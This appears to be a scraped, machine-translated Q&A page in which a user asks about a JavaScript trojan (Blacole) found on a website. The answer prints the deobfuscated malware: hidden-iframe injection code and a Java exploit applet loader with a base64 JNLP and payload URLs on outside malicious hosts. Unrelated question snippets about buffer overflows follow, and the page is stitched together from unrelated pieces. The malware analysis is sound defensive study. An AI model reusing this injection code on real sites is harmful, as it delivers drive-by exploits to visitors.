- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
我最近访问了一个网站,该网站在其 HTML 标记中嵌入了一个 JS 木马。 McAfee 名称为 JS/Exploit-Blacole.em,F-Secure 名称为 Trojan:JS/Agent,MS 名称为 Trojan:JS/Quidvetis.A。
现在,出于好奇,我看了一下木马的源代码(仅供引用,我在 pastebin 上发布了一份副本,看这里 http://pastebin.com/PsLaE4d9)。
让我感到奇怪的是 McAfee 网站上的部分(http://home.mcafee.com/virusinfo/virusprofile.aspx?key=1317346#none,单击“病毒特征”选项卡)说明
Also this detection uses the following recent injection techniques in order to make a connection to randomly generated malicious domain.
<!--81a338--><!--/81a338-->
木马本身似乎会在标记中注入(inject) iframe 标记并加载一些恶意页面。
无论如何,我的问题是,这些 XML 注释标签起什么作用? McAfee 文章中提到它们肯定是有原因的?此外,是否有可能以某种方式对 JS 代码进行反混淆并将其转换为人类可读的代码?同样,这只是出于好奇。我只想知道这里发生了什么。
最佳答案
看这里
http://wepawet.iseclab.org/view.php?hash=86b656e6ad9d7331acc01a80bf89c6b5&type=js
http://jsunpack.jeek.org/?report=87803db7e6a4d9d0b6190cd5054beda64e3784dd
这些工具将帮助你分析代码
这是完整的检索和未混淆的代码:
function r09(){
var static = 'ajax';
var controller = 'index.php';
var r = document.createElement('iframe');
r.src = 'http://ecurie80.hostzi.com/Felenne12/clik.php';
r.style.position = 'absolute';
r.style.color = '6675';
r.style.height = '6675px';
r.style.width = '6675px';
r.style.left = '10006675';
r.style.top = '10006675';
if (!document.getElementById('r')){
document.write('<p id=\'r\' class=\'r09\' ></p>');
document.getElementById('r').appendChild(r);
}
}
function SetCookie(cookieName, cookieValue, nDays, path){
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))){
return null;
}
if (start == - 1)return null;
var end = document.cookie.indexOf(";", len);
if (end == - 1)end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
if (GetCookie('visited_uq') == 55){
}
else {
SetCookie('visited_uq', '55', '1', '/');
r09();
}
}
此代码创建一个 iframe 并将其推出 View
代码每天只使用 cookie 运行一次
http://jsunpack.jeek.org/也是许多安全研究人员(比如 Brian Krebs?)使用的一个很好的工具
Iframe 加载 Java 漏洞并尝试运行它:
var FPLYKJoQG = {
WdBxtaXWsGnJRm: function (PseXOSDnXPAXRRnkHZs) {
var FIZdpsWVSgyPuFKU = document;
FIZdpsWVSgyPuFKU.write(PseXOSDnXPAXRRnkHZs);
},
wWgsxtVAofesbJwDAY: function (xPTKZBm) {
return xPTKZBm.replace(/355/g, '')
}
};
var SuOmy = FPLYKJoQG.wWgsxtVAofesbJwDAY('355Ja355355355355va355355355355355355355355');
var CHHBPE = z.vvv( SuOmy ).split(',');
var BZTlEHUaD = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355j355355355n355355355355355355355355355355355355355355l355p355355355355355355355355355');
var ZNZXaZkfijhQTihemz = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355355355355ap355355355355355355355355pl355355355355355355355355355355e355355355355355355t');
if (CHHBPE[1] == 7 && CHHBPE[3] > 9) {
FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + ' height="10" width="10"><param name="' + BZTlEHUaD + '_href" value="d5xs6x0pt9tk85s.jnlp" /><param name="' + BZTlEHUaD + '_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxqbmxwIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbmxwIiBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPjN5ZE5NQW1PSmlLYlNxRmJZMEl0THM8L3RpdGxlPg0KICAgIDx2ZW5kb3I+VzRBcGFXZngxUWwwMXRMbmR1TWFacVpzVGxISlBBVHF4anhNTWYxRG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSIxLjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YWxseS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dGxnLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2xhc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+" /><param name="duFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
} else {
FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + ' height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.class" archive="/gossip_usually.jar" width="10"><param name="duFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
}
加载d5xs6x0pt9tk85s.jnlp并执行
<applet height="10" width="10"><param name="jnlp_href" value="d5xs6x0pt9tk85ss.jnlp"><param name="jnlp_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxqbmxwIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbmxwIiBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPjN5ZE5NQW1PSmlLYlNxRmJZMEl0THM8L3RpdGxlPg0KICAgIDx2ZW5kb3I+VzRBcGFXZngxUWwwMXRMbmR1TWFacVpzVGxISlBBVHF4anhNTWYxRG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSIxLjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YWxseS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dGxnLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2xhc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+"><param name="duFJfXw" value="http://aussteigende.tommeade.coms:1024/sequence-backwards.txt?e=21"></applet>
或者如果这不可能加载 gossip_usually.jar 文件并加载/执行 wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.class:
<applet height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbjs.class" archive="/gossip_usuallys.jar" width="10"><param name="duFJfXw" value="http://aussteigende.tommeades.com:1024/sequence-backwards.txt?e=21"></applet>
关于通过 XML 注释标签进行 Javascript 恶意注入(inject)/重定向 (JS/Exploit-Blacole.em),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18734899/
我试图在较低的层次上更好地理解我的计算机,除了编写堆栈缓冲区溢出漏洞之外还有什么更好的方法?我最近遇到了 ROP。我读了论文http://cseweb.ucsd.edu/~hovav/talks/bl
我知道程序堆栈看起来有点像这样(从高到低): EIP | EBP | local variables 但是我在哪里可以找到%eax ,和其他通用寄存器?是否可以使用缓冲区溢出覆盖
我想知道维基百科的“您的意思是:...”是如何工作的,以及是否有一种方法(例如 API)可以使用它?因为我想从我的输入中获取相应的页面,但这可能包含错误。 Example 。是否有直接返回建议的查询?
关闭。这个问题是opinion-based 。目前不接受答案。 想要改进这个问题吗?更新问题,以便 editing this post 可以用事实和引文来回答它。 . 已关闭 7 年前。 Improv
我正在阅读这本书 Art of Exploitation,这是一本好书,我从exploit_notesearch.c 文件中看到了那个例子。 简要作者尝试从notesearch.c溢出程序 int m
我正在用 Python 编写一个 pandoc 过滤器来处理图像(本质上是在转换后更改文件位置)。 处理 Str 键值很容易,因为它是一个字符串 ( from pandocfilters docume
我正在尝试实现以下论文中给出的算法 1。 http://www.research.rutgers.edu/~lihong/pub/Li10Contextual.pdf 这是一个典型的探索-开发算法。我
这个问题在这里已经有了答案: "Hacking: The Art of Exploitation" - Assembly Inconsistencies in book examples vs. m
我正在使用 Ruby on Rails v3.2.2。我有以下模型类 class Country 'country_id' end class Region 'country_id' has_
linux内核存在安全问题,影响大部分android设备,基本允许任何用户成为root。 由于我使用 Linux 已有一段时间,所以我很好奇这个漏洞是如何工作的,尤其是我如何检查我的 PC(自定义构建
在编写缓冲区溢出漏洞时,我知道我需要输入一个长度数组(address_of_return_address - address_of_buffer)。并且数组需要填充shellcode的地址。这样当我的
我需要一项任务的帮助,该任务可以显示这个隐藏的按钮,该按钮将跳过一个问题(该网站是 membean)我已经安装了 greasemonkey 并尝试过 document.getElementById(“
我在 Java 应用程序中使用 SQLite,在添加行之前我需要知道是否可能违反 UNIQUE 约束。 因此,我编写了一个小方法,用于计算具有相同唯一值的行数(这里是一个用于我的表 User 的方法,
这可能与 this 有关,但我不确定它是否在同一条船上。 所以我一直在重新阅读黑客:剥削的艺术,我对书中的一些 C 代码有疑问,这对我来说不太有意义: 让我们假设我们回到了大约 2000 年,我们并没
Glicko-2 是一种用于国际象棋的评级系统,但也可用于许多其他情况。 Glicko-2 是对 Glicko-1 的改进,它解决了旧 ELO 评级的问题。 与版本 1 相比,Glicko-2 的特别
这个问题是关于《黑客:剥削的艺术》第二版第 121 页上的程序 notesearch 的利用。 在漏洞利用中有一些我不明白的地方: When the System executes the ./not
我正在遵循“Hacking-The art of exploitation”一书中的代码。书中定义的源代码随作者提供的光盘一起提供。我只是编译了预先编写的代码。根据这本书,如果我提供正确的密码,它应该
我在学习"Hacking: The Art of Exploitation" .我试图按照代码示例进行操作,但由于某种原因,汇编代码与我实际 Linux 上的汇编代码根本不匹配(以 Guest 身份在
我正在尝试利用以下功能: int auth(char *username, char *password) { char userpass[16]; char *response;
Android 有 !exploitable 的等价物吗? Crashlytics和 ACRA似乎没有针对 Android 崩溃的可利用性分析。有谁知道 Android 中的任何工具吗?请指教谢谢。
我是一名优秀的程序员,十分优秀!